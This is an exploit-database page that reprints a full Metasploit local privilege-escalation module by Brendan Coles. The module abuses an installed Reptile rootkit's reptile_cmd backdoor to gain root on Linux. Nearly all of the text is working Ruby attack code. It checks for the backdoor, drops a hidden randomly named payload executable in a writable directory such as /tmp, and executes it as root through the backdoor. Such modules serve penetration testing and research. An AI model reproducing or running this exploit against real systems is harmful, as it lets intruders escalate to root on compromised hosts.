Reptile Rootkit reptile_cmd Privilege Escalation

2019.12.24
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reptile Rootkit reptile_cmd Privilege Escalation', 'Description' => %q{ This module uses Reptile rootkit's `reptile_cmd` backdoor executable to gain root privileges using the `root` command. This module has been tested successfully with Reptile from `master` branch (2019-03-04) on Ubuntu 18.04.3 (x64) and Linux Mint 19 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'f0rb1dd3n', # Reptile 'bcoles' # Metasploit ], 'DisclosureDate' => '2018-10-29', # Reptile first stable release 'References' => [ ['URL', 'https://github.com/f0rb1dd3n/Reptile'], ['URL', 'https://github.com/f0rb1dd3n/Reptile/wiki/Usage'] ], 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0)) register_options [ OptString.new('REPTILE_CMD_PATH', [true, 'Path to reptile_cmd executable', '/reptile/reptile_cmd']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def reptile_cmd_path datastore['REPTILE_CMD_PATH'] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def check unless executable? reptile_cmd_path vprint_error "#{reptile_cmd_path} is not executable" return CheckCode::Safe end vprint_good "#{reptile_cmd_path} is executable" res = cmd_exec("echo id|#{reptile_cmd_path} root").to_s.strip vprint_status "Output: #{res}" if res.include?('You have no power here!') vprint_error 'Reptile kernel module is not loaded' return CheckCode::Safe end unless res.include?('root') vprint_error 'Reptile is not installed' return CheckCode::Safe end vprint_good 'Reptile is installed and loaded' CheckCode::Vulnerable end def exploit unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 8..12}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe print_status 'Executing payload...' res = cmd_exec "echo '#{payload_path}&' | #{reptile_cmd_path} root & echo " vprint_line res end end


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